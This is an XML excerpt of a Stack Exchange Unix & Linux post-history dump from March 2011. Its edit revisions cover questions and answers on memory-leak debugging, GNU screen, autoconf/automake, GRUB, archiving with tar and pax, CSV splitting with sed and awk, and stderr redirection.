  <row Id="23028" PostHistoryTypeId="5" PostId="217" RevisionGUID="e1a8af3e-6b22-498b-809f-13a2fddcaf74" CreationDate="2011-03-19T17:22:56.113" UserId="688" Comment="deleted 8 characters in body; edited title; deleted 9 characters in body" Text="What strategy you use while tracking a memory-related issue? What tools do you use (open source as well as proprietary) to identify memory leaks, memory corruption etc? How would you track memory leaks if only gdb/dbx available on a system?&#xD;&#xA;&#xD;&#xA;For me, fixing memory leaks with only a debugger is very hard.&#xD;&#xA;" />
  <row Id="23029" PostHistoryTypeId="4" PostId="217" RevisionGUID="e1a8af3e-6b22-498b-809f-13a2fddcaf74" CreationDate="2011-03-19T17:22:56.113" UserId="688" Comment="deleted 8 characters in body; edited title; deleted 9 characters in body" Text="How to track/fix a memory-related issue in a large C/C++ code on *nix systems" />
  <row Id="23030" PostHistoryTypeId="25" PostId="9652" RevisionGUID="c3f5e7e9-f039-451c-8660-d498e59ea624" CreationDate="2011-03-19T17:31:21.857" Comment="http://twitter.com/#!/StackUnix/status/49161047415865344" />
  <row Id="23031" PostHistoryTypeId="5" PostId="100" RevisionGUID="f93489b7-dd5f-4c77-b278-3dc8c1b184b8" CreationDate="2011-03-19T17:37:05.150" UserId="688" Comment="rm greetings and thanks" Text="Perhaps I'm misunderstanding what KVM is capable of, but the ability to add/remove hardware on the VM seems to imply I can add a serial port that then acts as a terminal.&#xD;&#xA;&#xD;&#xA;So, my questions are:&#xD;&#xA; &#xD;&#xA; 1. Which settings are best for the guest FreeBSD distribution? (There are many!)&#xD;&#xA; 2. How do I access said terminal from my Linux host?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23032" PostHistoryTypeId="6" PostId="100" RevisionGUID="f93489b7-dd5f-4c77-b278-3dc8c1b184b8" CreationDate="2011-03-19T17:37:05.150" UserId="688" Comment="rm greetings and thanks" Text="élinuxàéfreebsdàékvmà" />
  <row Id="23033" PostHistoryTypeId="2" PostId="9664" RevisionGUID="a01a1535-6da4-48a0-b856-854c1649a92b" CreationDate="2011-03-19T17:38:41.770" UserId="5766" Text="It should be possible to that by having ALT+UP take the effect of consecutive keyboard inputs of 'c', 'd', ' ', '.', '.', ENTER by means of a macro definition.  But can't figure out how exactly to do it." />
  <row Id="23034" PostHistoryTypeId="1" PostId="9664" RevisionGUID="a01a1535-6da4-48a0-b856-854c1649a92b" CreationDate="2011-03-19T17:38:41.770" UserId="5766" Text="How to configure .inputrc so ALT+UP has the effect of cd .." />
  <row Id="23035" PostHistoryTypeId="3" PostId="9664" RevisionGUID="a01a1535-6da4-48a0-b856-854c1649a92b" CreationDate="2011-03-19T17:38:41.770" UserId="5766" Text="éreadlineà" />
  <row Id="23036" PostHistoryTypeId="5" PostId="9662" RevisionGUID="f7ef1ee3-6222-4b54-9e1e-ff15b4e01c43" CreationDate="2011-03-19T17:39:18.993" UserId="5661" Comment="added command example" Text="I think that you were on the right way, `screen` is what you want and not `nohup`. As you said with `nohup` you cannot &lt;del&gt;change the settings&lt;/del&gt; get your environment back after logging out the remote server. `screen` supports that. Look in this [tutorial](http://www.rackaid.com/resources/linux-screen-tutorial-and-how-to/). Basically what you need is:&#xD;&#xA;&#xD;&#xA;    ssh machine&#xD;&#xA;    screen&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;c&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;    yourcommand&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;d&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;    exit&#xD;&#xA;    ssh machine&#xD;&#xA;    screen -ls&#xD;&#xA;    10176.blahblah	(blah)	(Detached)&#xD;&#xA;    screen -r 10176&#xD;&#xA;" />
  <row Id="23037" PostHistoryTypeId="5" PostId="322" RevisionGUID="b98480cd-93e0-4ff4-b4ae-f1b8a4e90cc3" CreationDate="2011-03-19T17:40:48.453" UserId="688" Comment="added 8 characters in body; edited tags; edited title" Text="Currently I don't have a Linux installation with a GUI. All are running text mode. When I do, I usually use KDE. On Windows I am a .NET developer and I haven't done any Mono development, yet. I heard that Monodevelop is only for GNOME.&#xD;&#xA;&#xD;&#xA;If you develop Mono on a KDE environment, what IDE do you use?" />
  <row Id="23038" PostHistoryTypeId="4" PostId="322" RevisionGUID="b98480cd-93e0-4ff4-b4ae-f1b8a4e90cc3" CreationDate="2011-03-19T17:40:48.453" UserId="688" Comment="added 8 characters in body; edited tags; edited title" Text="What IDE do you use for Mono development on KDE?" />
  <row Id="23039" PostHistoryTypeId="6" PostId="322" RevisionGUID="b98480cd-93e0-4ff4-b4ae-f1b8a4e90cc3" CreationDate="2011-03-19T17:40:48.453" UserId="688" Comment="added 8 characters in body; edited tags; edited title" Text="ékdeàémonoà" />
  <row Id="23040" PostHistoryTypeId="5" PostId="326" RevisionGUID="bdc92dea-5436-4afb-bc6c-0ae323021bae" CreationDate="2011-03-19T17:44:32.007" UserId="688" Comment="deleted 1 characters in body" Text="If you're really QT gungho and just can't stand any gtk+ stuff on your desktop, you might be out of luck.  If you are, on the other hand, not a library-nazi, may I suggest Monodevelop?&#xD;&#xA;&#xD;&#xA;&gt;[Monodevelop](http://monodevelop.com/) is an IDE primarily designed for C# and other .NET languages. MonoDevelop enables developers to quickly write desktop and ASP.NET Web applications on Linux, Windows and Mac OSX. MonoDevelop makes it easy for developers to port .NET applications created with Visual Studio to Linux and to maintain a single code base for all platforms.&#xD;&#xA;&#xD;&#xA;Of course, you can also go write along using Emacs or Vim without any real problems." />
  <row Id="23042" PostHistoryTypeId="5" PostId="205" RevisionGUID="e5e75102-d552-4415-bd64-5be91a3188ba" CreationDate="2011-03-19T17:53:27.587" UserId="688" Comment="edited body" Text="This is kinda a non-answer. However there isn't a real answer here. Unfortunately this thing is highly application-dependent. Your app could hit on something that Mono happens to do really well or you might be heavily using something that is implemented poorly or has some bugs. It's not really a case of Mono being X times slower/faster than IIS.&#xD;&#xA;&#xD;&#xA;My suggestion is to take your app, deploy it on two different EC2 instances (one Windows and one Mono) and do your testing there. If you find major issues on the Mono instance, please report them and we'll try to get things improved.&#xD;&#xA;&#xD;&#xA;All that being said, I can tell you from personal experience that Mono aspx does perform really well.  " />
  <row Id="23043" PostHistoryTypeId="5" PostId="158" RevisionGUID="78b057c1-2503-41be-b391-a390e46d5a8b" CreationDate="2011-03-19T18:02:36.877" UserId="688" Comment="formatting" Text="I sometimes compile apps from source and I've either been using:&#xD;&#xA;&#xD;&#xA;    ./configure&#xD;&#xA;    make&#xD;&#xA;    sudo make install&#xD;&#xA;&#xD;&#xA;But recently, I came across `./autogen.sh` which generates the configure and make scripts for me and executes them.&#xD;&#xA;&#xD;&#xA;What other methods to streamline C/C++/C#(mono) compilation exist? Make seems a bit old. Are there new tools out there? Given the choice, which one should I use?" />
  <row Id="23044" PostHistoryTypeId="5" PostId="210" RevisionGUID="4db58ded-9f5f-4d36-9b31-66a344e5b96b" CreationDate="2011-03-19T18:13:09.567" UserId="688" Comment="formatting" Text="Autoconf and Automake were set out to solve an evolutionary problem of Unix.&#xD;&#xA;&#xD;&#xA;As Unix evolved into different directions, developers that wanted portable code tended to write code like this:&#xD;&#xA;&#xD;&#xA;    #if RUNNING_ON_BSD&#xD;&#xA;    Set things up in the BSD way&#xD;&#xA;    #if RUNNING_ON_SYSTEMV&#xD;&#xA;    Set things up in the SystemV way&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;As Unix was forked into different implementations (BSD, SystemV, many vendor forks, and later Linux and other Unix-like systems) it became important for developers that wanted to write portable code to write code that depended not on a particular brand of operating system, but on features exposed by the operating system.   This is important because a Unix version would introduce a new feature, for example the &quot;send&quot; system call, and later other operating systems would adopt it.    Instead of having a spaghetti of code that checked for brands and versions, developers started probing by features, so code became:&#xD;&#xA;&#xD;&#xA;    #if HAVE_SEND&#xD;&#xA;    Use Send here&#xD;&#xA;    #else&#xD;&#xA;    Use something else&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;Most README files to compile source code back in the 90's pointed developers to edit a config.h file and comment out that proper features available on the system, or would ship standard config.h files for each operating system configuration that had been tested.&#xD;&#xA;&#xD;&#xA;This process was both cumbersome and error prone and this is how Autoconf came to be.   You should think of Autoconf as a language made up of shell commands with special macros that was able to replace the human editing process of the config.h with a tool that probed the operating system for the functionality.&#xD;&#xA;&#xD;&#xA;You would typically write your probing code in the file &lt;tt&gt;configure.ac&lt;/tt&gt; and then run the &lt;tt&gt;autoconf&lt;/tt&gt; command which would compile this file to the executable &lt;tt&gt;configure&lt;/tt&gt; command that you have seen used.&#xD;&#xA;&#xD;&#xA;So when you run `./configure &amp;&amp; make` you were probing for the features available on your system and then building the executable with the configuration that was detected.&#xD;&#xA;&#xD;&#xA;When open source projects started using source code control systems, it made sense to check in the &lt;tt&gt;configure.ac&lt;/tt&gt; file, but not the result of the compilation (&lt;tt&gt;configure&lt;/tt&gt;).   The autogen.sh is merely a small script that invokes the &lt;tt&gt;autoconf&lt;/tt&gt; compiler with the right command arguments for you.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;Automake grew also out of existing practices in the community. The GNU project standardized a regular set of targets for Makefiles:&#xD;&#xA;&#xD;&#xA;* `make all` would build the project&#xD;&#xA;* `make clean` would remove all compiled files from the project&#xD;&#xA;* `make install` would install the software&#xD;&#xA;* things like `make dist` and `make distcheck` would prepare the source for distribution and verify that the result was a complete source code package&#xD;&#xA;* and so on...&#xD;&#xA;&#xD;&#xA;Building compliant makefiles became burdensome because there was a lot of boilerplate that was repeated over and over.   So Automake was a new compiler that integrated with autoconf and processed &quot;source&quot; Makefile's (named Makefile.am) into Makefiles that could then be fed to Autoconf.&#xD;&#xA;&#xD;&#xA;The automake/autoconf toolchain actually uses a number of other helper tools and they are augmented by other components for other specific tasks.   As the complexity of running these commands in order grew, the need for a ready-to-run script was born, and this is where autogen.sh came from.&#xD;&#xA;&#xD;&#xA;As far as I know of, Gnome was project that introduced the use of this helper script autogen.sh" />
  <row Id="23045" PostHistoryTypeId="5" PostId="164" RevisionGUID="33f6609a-5cc0-42cc-a036-3bd629b66bf9" CreationDate="2011-03-19T18:15:21.153" UserId="688" Comment="edited body" Text="[Scons][1] is one possible replacement, though I have no personal experience. It's also implemented in Python, which could be a problem, depending on the build environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.scons.org/" />
  <row Id="23046" PostHistoryTypeId="5" PostId="1122" RevisionGUID="1d8019db-5bce-42df-96b4-51b851cb8a71" CreationDate="2011-03-19T18:23:32.723" UserId="688" Comment="deleted 2 characters in body" Text="You should understand how to use common(ish) unix tools.  vim may have changed between redhat 4 and redhat 300, but I bet you vi is the same (even if they are using vim as a replacement for vi, the vi commands will work as expected).  The package tools may not be familiar to you, but I bet you can still download a tgz file, `./configure`, `make`, `sudo make install` it.&#xD;&#xA;&#xD;&#xA;Learning on the latest and greatest is great, but you should also learn the tools your tools are built on.  There are things in unixland which remain fairly constant, and if you know and understand how to work with them, you will find yourself more at home on any variant you end up on, regardless of age (within reason here people).  &#xD;&#xA;&#xD;&#xA;Tree's not installed? I bet grep, find, awk, and sed are.  These are your friends.&#xD;&#xA;&#xD;&#xA;As an alternative to cygwin/etc, it's not hard to install VirtualBox and setup a Linux box in a virtual environment that you can then use for your development, and push files out to the server later." />
  <row Id="23047" PostHistoryTypeId="5" PostId="2" RevisionGUID="190d76d7-24f4-4df2-850c-e0fbfb10551a" CreationDate="2011-03-19T18:33:10.967" UserId="688" Comment="readability" Text="A long time ago I used to use FreeBSD with its ports system and after that Gentoo for portage in order to install applications via compiling from source. I did this in order to directly target my system.&#xD;&#xA;&#xD;&#xA;Are there any other distros out there which support such a configuration? I seem to remember Slackware having something similar." />
  <row Id="23048" PostHistoryTypeId="6" PostId="2" RevisionGUID="190d76d7-24f4-4df2-850c-e0fbfb10551a" CreationDate="2011-03-19T18:33:10.967" UserId="688" Comment="readability" Text="édistrosàécompilingàésourceà" />
  <row Id="23049" PostHistoryTypeId="5" PostId="44" RevisionGUID="54962dcc-316b-4129-b83d-e3d5913052da" CreationDate="2011-03-19T18:35:09.030" UserId="688" Comment="typo" Text="If you want to try something a little different, there's [GoboLinux](http://www.gobolinux.org) and [NixOs](http://nixos.org/nixos/)." />
  <row Id="23050" PostHistoryTypeId="2" PostId="9665" RevisionGUID="a37444cc-8402-4790-8242-3ec735584d5c" CreationDate="2011-03-19T18:36:37.843" UserId="1995" Text="Here's a newb question. I'm wanting to create a tar archive of a specific directory (with its subdirectories of course). But when I do it, using the tar command, I get a list of files that were included, for example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; a calendar_final/._style.css&#xD;&#xA;&gt;&#xD;&#xA;&gt; a calendar_final/style.css&#xD;&#xA;&#xD;&#xA;As you can see, there are two versions of the same file. This goes for every file, and there are many. How do I exclude the temporary files, with the ._ prefix, from the tar archive?" />
  <row Id="23051" PostHistoryTypeId="1" PostId="9665" RevisionGUID="a37444cc-8402-4790-8242-3ec735584d5c" CreationDate="2011-03-19T18:36:37.843" UserId="1995" Text="Create tar archive of a directory, except for hidden files?" />
  <row Id="23052" PostHistoryTypeId="3" PostId="9665" RevisionGUID="a37444cc-8402-4790-8242-3ec735584d5c" CreationDate="2011-03-19T18:36:37.843" UserId="1995" Text="ébashàétarà" />
  <row Id="23053" PostHistoryTypeId="5" PostId="9647" RevisionGUID="04f6eed7-42cb-4904-9d4b-8e2e146caee4" CreationDate="2011-03-19T18:40:24.637" UserId="5307" Comment="added 175 characters in body" Text="I have a CSV delimited by commas and I want to delimit it by newlines instead.&#xD;&#xA;&#xD;&#xA;Input:&#xD;&#xA;&#xD;&#xA;    a, b, c&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;&#xD;&#xA;I've written Java parsers that do this stuff, but couldn't this be be done with vim or some other tool?&#xD;&#xA;&#xD;&#xA;sed isn't working for me:&#xD;&#xA;&#xD;&#xA;#!/bin/sh&#xD;&#xA;&#xD;&#xA;# Start&#xD;&#xA;cat &gt; infile.csv &lt;&lt; __EOF__&#xD;&#xA;a, b, c&#xD;&#xA;__EOF__&#xD;&#xA;cat infile.csv&#xD;&#xA;sed 's/, /\n/g' infile.csv &gt; outfile.csv&#xD;&#xA;cat outfile.csv" />
  <row Id="23054" PostHistoryTypeId="2" PostId="9666" RevisionGUID="45d8554d-4914-4efc-a73a-5914269052e5" CreationDate="2011-03-19T18:44:02.330" UserId="5685" Text="This should work:&#xD;&#xA;&#xD;&#xA;    tar zcf calendar.tgz &quot;a calendar_final&quot; --exclude '.*'&#xD;&#xA;" />
  <row Id="23055" PostHistoryTypeId="2" PostId="9667" RevisionGUID="9f9573a5-43a7-4bf3-88d0-fc2dd6b8d545" CreationDate="2011-03-19T18:52:21.083" UserId="3459" Text="Debian kFreeBSD is officially considered a **technical preview** right now. This means it works but is not completely ready for production use.&#xD;&#xA;&#xD;&#xA;If you just want a usable system stick with Debian Linux for now.&#xD;&#xA;&#xD;&#xA;Once it graduates from technical preview status, you may want to reexamine it if you have needs that are better fulfilled by BSD than Linux, such as ZFS and the OpenBSD Packet Filter (pf)." />
  <row Id="23056" PostHistoryTypeId="5" PostId="94" RevisionGUID="5083459a-9405-4fae-9a3e-52e04ab7d96b" CreationDate="2011-03-19T19:05:17.417" UserId="688" Comment="formatting; rm greetings" Text="I have a dual boot setup with linux and Windows 7 with Grub as the bootloader.&#xD;&#xA;&#xD;&#xA;My partition table looks like this:&#xD;&#xA;&#xD;&#xA;    100 MB System Reserved Windows 7&#xD;&#xA;    500 GB Windows 7&#xD;&#xA;    100 MB /boot - ext2&#xD;&#xA;    500 GB linux, swap, etc.&#xD;&#xA;&#xD;&#xA;I'm curious where GRUB installed itself after I had this setup right here.&#xD;&#xA;&#xD;&#xA;I thought the System Reserved partition was Windows 7's booting partition, but if Grub rewrote over it (I assume on the master boot record), it seems like Windows 7 would not be able to run.&#xD;&#xA;&#xD;&#xA;Where does Grub install itself and still manage to point to both Windows and linux? Does it depend on how you set your partitions?" />
  <row Id="23057" PostHistoryTypeId="2" PostId="9668" RevisionGUID="7a8bb8d1-5677-4a6e-b16a-efff0c693715" CreationDate="2011-03-19T19:07:51.973" UserId="1290" Text="I don't exactly what you're getting at, but take a look at [tinycore]. The entire image creation pricess is possible to be made from sources.&#xD;&#xA;&#xD;&#xA;  [tinycore]: http://www.tinycorelinux.com/" />
  <row Id="23058" PostHistoryTypeId="5" PostId="9647" RevisionGUID="61d3d837-6039-4d8a-98ad-af516ebc065d" CreationDate="2011-03-19T19:21:55.177" UserId="591" Comment="fixed formatting" Text="I have a CSV delimited by commas and I want to delimit it by newlines instead.&#xD;&#xA;&#xD;&#xA;Input:&#xD;&#xA;&#xD;&#xA;    a, b, c&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;&#xD;&#xA;I've written Java parsers that do this stuff, but couldn't this be be done with vim or some other tool?&#xD;&#xA;&#xD;&#xA;sed isn't working for me:&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        &#xD;&#xA;        # Start&#xD;&#xA;        cat &gt; infile.csv &lt;&lt; __EOF__&#xD;&#xA;        a, b, c&#xD;&#xA;        __EOF__&#xD;&#xA;        cat infile.csv&#xD;&#xA;        sed 's/, /\n/g' infile.csv &gt; outfile.csv&#xD;&#xA;    &#xD;&#xA;    cat outfile.csv" />
  <row Id="23059" PostHistoryTypeId="24" PostId="9647" RevisionGUID="61d3d837-6039-4d8a-98ad-af516ebc065d" CreationDate="2011-03-19T19:21:55.177" Comment="Proposed by 591 approved by 29 edit id of 218" />
  <row Id="23060" PostHistoryTypeId="2" PostId="9669" RevisionGUID="f5d411db-097c-4990-a7a9-6fd1871559ed" CreationDate="2011-03-19T19:22:15.567" UserId="5766" Text="When configured accordingly (`set header_cache=`) mutt saves the mail headers in a cache file.  That could be used to generate mail statistics.  Does anybody know something about the file format?  Are there any tools available to extract the information contained? (Besides `strings`, `grep`, `awk` and the like)" />
  <row Id="23061" PostHistoryTypeId="1" PostId="9669" RevisionGUID="f5d411db-097c-4990-a7a9-6fd1871559ed" CreationDate="2011-03-19T19:22:15.567" UserId="5766" Text="How can I generate E-Mail statistics from mutt header cache?" />
  <row Id="23062" PostHistoryTypeId="3" PostId="9669" RevisionGUID="f5d411db-097c-4990-a7a9-6fd1871559ed" CreationDate="2011-03-19T19:22:15.567" UserId="5766" Text="émuttà" />
  <row Id="23063" PostHistoryTypeId="2" PostId="9670" RevisionGUID="77a4eced-b6fa-41f7-bb36-29cdd407785b" CreationDate="2011-03-19T19:38:05.310" UserId="5131" Text="Use: `&quot;$@&quot;` if you want to represent the original arguments (including no arguments) accurately.&#xD;&#xA;&#xD;&#xA;There are 5 notations to mention:&#xD;&#xA;&#xD;&#xA;* `$@`&#xD;&#xA;* `$*`&#xD;&#xA;* `&quot;$@&quot;`&#xD;&#xA;* `&quot;$*&quot;`&#xD;&#xA;* `${1+&quot;$@&quot;}`&#xD;&#xA;&#xD;&#xA;The first two are equivalent; both split up the words in the argument list and pass them on to the command being invoked.  They are seldom the correct choice.&#xD;&#xA;&#xD;&#xA;The second two are radically different.  The `&quot;$@&quot;` notation effectively copies the arguments to the shell (or the arguments set via the `set` command) to the command being invoked, preserving the number of arguments, the spaces within them, and the split between them.  If there are zero arguments, it generates nothing.&#xD;&#xA;&#xD;&#xA;The `&quot;$*&quot;` notation pastes all the arguments into a single string, putting a space between arguments but preserving the spaces within the arguments.  It is appropriate for use in contexts such as:&#xD;&#xA;&#xD;&#xA;    echo &quot;You said, '$*'&quot;&#xD;&#xA;&#xD;&#xA;where the utmost fidelity to the original command line is not crucial.&#xD;&#xA;&#xD;&#xA;The final notation, `${1+&quot;$@&quot;}`, is a hangover from days past that you may come across in old shell scripts.  Once upon a time (and a long time ago - like 30 years ago), the Bourne shell treated `&quot;$@&quot;` as a single empty argument when there were no arguments.  That has not been the behaviour for a long time, but some scripts written a very long time ago might still protect themselves by using this notation.  The `${1+X}` notation means 'if `$1` is set to anything, even an empty string, then provide the value `X`.  In the notation under discussion, the `X` is `&quot;$@&quot;`, which is a list of arguments when there is known to be at least one - and otherwise no arguments.  Which means the same as `&quot;$@&quot;` in any modern shell." />
  <row Id="23064" PostHistoryTypeId="2" PostId="9671" RevisionGUID="dc670a58-54f9-4a58-8af5-54d23ca53afd" CreationDate="2011-03-19T19:41:56.440" UserId="885" Text="The use of `\n` in a `s` replacement text in sed is allowed, but not mandated, by POSIX. GNU sed does it, but there are implementations that output `\n` literally.&#xD;&#xA;&#xD;&#xA;You can use any POSIX-compliant awk. Set the input field separator `FS` to a regular expression and the output field separator `ORS` to a string (with the usual backslash escapes). The assignment `$1=$` is needed to rebuild the line to use the different field separator.&#xD;&#xA;&#xD;&#xA;    awk -vFS=', *' -vOFS='\n' '{$1=$1; print}'&#xD;&#xA;&#xD;&#xA;(This assumes that your input contains plain comma-and-whitespace-separated values, without any quoting. If there is quoting, you need to move to a real CSV parser in a language such as Perl or Python.)&#xD;&#xA;" />
  <row Id="23065" PostHistoryTypeId="6" PostId="9647" RevisionGUID="3c3f2457-6849-4331-bcd5-ecd72b5f6857" CreationDate="2011-03-19T19:43:15.393" UserId="885" Comment="edited tags" Text="évimàétextöprocessingàésedàécsvà" />
  <row Id="23066" PostHistoryTypeId="2" PostId="9672" RevisionGUID="cafac2c4-09be-4f8c-a2e4-411089c13a53" CreationDate="2011-03-19T19:46:26.217" UserId="5785" Text="There are some confusing stuff here. First of all you need to know that there is a &quot;Partition Boot Record&quot; in each slice when disk is partitioned (slice=primary partition). When you format your disk, the first sector is called &quot;bootsector&quot;. The bootsector is loaded and executed from the partition flagged as bootable.&#xD;&#xA;&#xD;&#xA;GRUB has just 512 bytes in this area, and it's called stage1. Stage 1 just loads stage2 (or1.5), and this is the file that loads the menu.lst file and other modules.&#xD;&#xA;&#xD;&#xA;Since Stage1.5 (or Stage2) loads menu.lst from a little amount of code, its filesystem-specific (need to be able to find /boot/menu.lst in your FS).&#xD;&#xA;&#xD;&#xA;Take a look [**here**][1] to read more.&#xD;&#xA;&#xD;&#xA;In a nutshell: Stage1 is in MBR, but GRUB isn't just stage1, everything but Stage1 is in /boot.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pixelbeat.org/docs/disk/" />
  <row Id="23067" PostHistoryTypeId="5" PostId="9664" RevisionGUID="e1fd730c-04b4-4950-8ad3-a36a21a59f57" CreationDate="2011-03-19T19:46:28.603" UserId="5766" Comment="added 5 characters in body" Text="It should be possible to do that by having ALT+UP generate consecutive &quot;keyboard input&quot; equivalent to 'c', 'd', ' ', '.', '.', ENTER by means of a macro definition.  But can't figure out how exactly to do it." />
  <row Id="23068" PostHistoryTypeId="2" PostId="9673" RevisionGUID="e0c100d4-b184-4b4d-9848-b54bee444b95" CreationDate="2011-03-19T20:07:30.817" UserId="885" Text="[Frederik Deweerdt](http://unix.stackexchange.com/questions/9665/create-tar-archive-of-a-directory-except-for-hidden-files/9666#9666) has given a solution that works on GNU tar (used on Linux, Cygwin, FreeBSD, OSX, possibly others), but not on other systems such as NetBSD, OpenBSD or Solaris.&#xD;&#xA;&#xD;&#xA;POSIX doesn't specify the `tar` command (because it varies too wildly between unix variants) and introduces the `pax` command instead. The option `-w` means to produce an archive (`-r` extracts), and `-x` selects the archive format. The option `-s '!BRE!!'` excludes all files whose path matches the basic regular expression BRE.&#xD;&#xA;&#xD;&#xA;    pax -w -x ustar -s '!^.*/\..*$!!' calendar_final &gt;calendar_final.tar&#xD;&#xA;" />
  <row Id="23069" PostHistoryTypeId="6" PostId="9665" RevisionGUID="d0799f3c-b979-4515-b5db-087c2312a2eb" CreationDate="2011-03-19T20:07:42.093" UserId="885" Comment="edited tags" Text="étarà" />
  <row Id="23070" PostHistoryTypeId="2" PostId="9674" RevisionGUID="d18d6e9e-5ce5-470b-b5e5-0de309a75d2c" CreationDate="2011-03-19T20:30:02.030" UserId="885" Text="You want to duplicate the error stream so that it appears both on the console and in the log file. The tool for that is `tee`, and all you need to do is apply it to the error stream. Unfortunately, there's no standard shell construct to pipe a command's error stream into another command, so a little file descriptor rearrangement is required.&#xD;&#xA;&#xD;&#xA;    { { echo out; echo err 1&gt;&amp;2; } 2&gt;&amp;1 &gt;&amp;3 | tee /dev/tty; } &gt;log 3&gt;&amp;1&#xD;&#xA;      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^   ^^^^^^^^^^^^    ^^^^^^^^^&#xD;&#xA;      command produces output      stdout→3                    →log&#xD;&#xA;      command produces error       stderr→1   dup to terminal  →log&#xD;&#xA;" />
  <row Id="23071" PostHistoryTypeId="25" PostId="9665" RevisionGUID="1dc8bb5e-f410-4455-a6f5-5affc97eee99" CreationDate="2011-03-19T20:31:24.650" Comment="http://twitter.com/#!/StackUnix/status/49206358112874496" />
  <row Id="23072" PostHistoryTypeId="6" PostId="9646" RevisionGUID="6ee02d7e-439b-4e04-a793-6876263049f9" CreationDate="2011-03-19T20:34:55.800" UserId="885" Comment="edited tags" Text="ébashàéshellàéioöredirectionà" />
  <row Id="23073" PostHistoryTypeId="5" PostId="9673" RevisionGUID="cfb83ea4-5b62-4f77-98f7-a5dee700f65d" CreationDate="2011-03-19T20:35:52.693" UserId="885" Comment="hyperlink for pax" Text="[Frederik Deweerdt](http://unix.stackexchange.com/questions/9665/create-tar-archive-of-a-directory-except-for-hidden-files/9666#9666) has given a solution that works on GNU tar (used on Linux, Cygwin, FreeBSD, OSX, possibly others), but not on other systems such as NetBSD, OpenBSD or Solaris.&#xD;&#xA;&#xD;&#xA;POSIX doesn't specify the `tar` command (because it varies too wildly between unix variants) and introduces the [`pax`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/pax.html) command instead. The option `-w` means to produce an archive (`-r` extracts), and `-x` selects the archive format. The option `-s '!BRE!!'` excludes all files whose path matches the basic regular expression BRE.&#xD;&#xA;&#xD;&#xA;    pax -w -x ustar -s '!^.*/\..*$!!' calendar_final &gt;calendar_final.tar&#xD;&#xA;" />
  <row Id="23074" PostHistoryTypeId="6" PostId="9657" RevisionGUID="86380796-e0dd-490b-bbc8-22d94ce9c8af" CreationDate="2011-03-19T20:40:10.647" UserId="885" Comment="edited tags" Text="éfedoraàénetworkingàémigrationà" />
  <row Id="23075" PostHistoryTypeId="5" PostId="9646" RevisionGUID="d7e1e7f7-1d49-4462-b6c9-e87c75f09df9" CreationDate="2011-03-19T20:48:06.247" UserId="5888" Comment="added 161 characters in body" Text="How can I user BASH magic to get this?&lt;br/&gt;&#xD;&#xA;I want to only see stderr output on the screen, &lt;br/&gt;&#xD;&#xA;but I want both stdout and stderr to be written to a file.&#xD;&#xA;&#xD;&#xA;Clarification:&#xD;&#xA;I want both stdout and stderr to end up in the same file. In the order they happen.&lt;br/&gt;&#xD;&#xA;Unfortunately none of the answers below does this. " />
  <row Id="23076" PostHistoryTypeId="2" PostId="9675" RevisionGUID="eb4a30fe-629e-48b8-a844-3ab2e115f0b3" CreationDate="2011-03-19T21:16:41.917" UserId="5894" Text="Hi,&#xD;&#xA;&#xD;&#xA;I want to write a game which runs in a terminal. I do some terminal coloring and wanted to use some unicode characters for nice ascii art &quot;graphics&quot;. But a lot of unicode characters aren't supported in the linux terminal (the non-X terminal, I don't know how you call it... VT100? I mean the terminal which uses the text mode for output, no graphic mode, so the same font as in bios is used to display the text.)&#xD;&#xA;&#xD;&#xA;For example, I wanted to draw half character &quot;pixels&quot; using the &quot;half block&quot; characters U+2580 (▀) and U+2584 (▄) but these are not supported in the terminal. (These are only examples - I want to use a lot more special characters...)&#xD;&#xA;&#xD;&#xA;Which characters does this font support? Is there any document or table listing these characters? Is this device-dependent or is there any &quot;standard&quot;?&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;Leemes" />
  <row Id="23077" PostHistoryTypeId="1" PostId="9675" RevisionGUID="eb4a30fe-629e-48b8-a844-3ab2e115f0b3" CreationDate="2011-03-19T21:16:41.917" UserId="5894" Text="Terminal charset / font" />
  <row Id="23078" PostHistoryTypeId="3" PostId="9675" RevisionGUID="eb4a30fe-629e-48b8-a844-3ab2e115f0b3" CreationDate="2011-03-19T21:16:41.917" UserId="5894" Text="éterminalàéunixàéfontsàéspecialöcharactersà" />
  <row Id="23079" PostHistoryTypeId="2" PostId="9676" RevisionGUID="d816ccf0-01c1-4ada-95ec-28080acba03e" CreationDate="2011-03-19T21:35:16.247" UserId="2343" Text="    # loop until the user presses &lt;Enter&gt;&#xD;&#xA;    while true ; do &#xD;&#xA;        read -n 1 c&#xD;&#xA;        (( ${#c} == 0 )) &amp;&amp; break # Exit the loop. The user has pressed Enter&#xD;&#xA;        #&#xD;&#xA;        if [   \( ! &quot;$c&quot; \&lt; &quot;a&quot; -a  ! &quot;$c&quot; \&gt; &quot;z&quot; \) \&#xD;&#xA;            -o \( ! &quot;$c&quot; \&lt; &quot;A&quot; -a  ! &quot;$c&quot; \&gt; &quot;Z&quot; \) ]&#xD;&#xA;        then&#xD;&#xA;            val=($(ascii -s $c)) # build an array of ascii info for this char &#xD;&#xA;            echo &quot; ... The decimal value of $c is: ${val[1]}&quot;&#xD;&#xA;        else&#xD;&#xA;            echo -n  $'\r \r' # overwrite the invalid character&#xD;&#xA;        fi &#xD;&#xA;    done&#xD;&#xA;" />
